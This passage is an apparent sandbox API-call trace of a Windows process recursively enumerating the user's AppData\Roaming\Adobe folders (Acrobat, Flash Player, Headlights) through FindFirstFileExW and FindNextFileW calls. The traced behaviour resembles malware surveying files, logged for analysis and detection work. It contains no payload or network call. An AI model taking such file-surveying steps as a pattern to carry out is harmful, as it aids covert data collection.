ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0046.275] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1 [0046.275] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xab4765c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab4765c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0046.275] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xab4765c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab4765c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0046.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0046.275] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0046.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.275] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0046.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0046.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0046.275] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.276] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.276] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.276] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0046.276] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0046.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0046.276] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.277] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0046.277] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0046.277] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0046.277] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0046.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0046.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa6) returned 0x28d0920 [0046.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0046.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0046.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.278] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.324] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.324] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.325] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.325] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.325] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0046.326] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1 [0046.326] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1 [0046.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0046.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d14a8 [0046.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0046.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0046.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0046.505] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.505] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.553] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 1 [0046.553] lstrcmpW (lpString1="D5NTRC6R", lpString2=".") returned 1 [0046.553] lstrcmpW (lpString1="D5NTRC6R", lpString2="..") returned 1 [0046.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0046.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xee) returned 0x5f1230 [0046.553] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0046.553] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0046.554] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0046.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.574] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.575] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.575] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0046.575] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.575] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0046.576] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0046.576] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.577] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.577] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0046.577] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0046.577] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0046.577] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 0 [0046.577] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0046.577] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1230 | out: hHeap=0x540000) returned 1 [0046.577] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0046.577] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0046.577] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.578] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 1 [0046.578] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 0 [0046.578] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0046.578] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0046.578] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0046.578] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0 [0046.578] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0046.578] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.578] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.579] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.579] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.580] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0046.580] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0 [0046.580] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0046.581] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.581] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0046.581] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1 [0046.581] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa6) returned 0x28d14a8 [0046.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0046.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0046.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.581] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.581] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.581] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.581] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.581] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0046.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0046.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0046.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.581] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.582] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 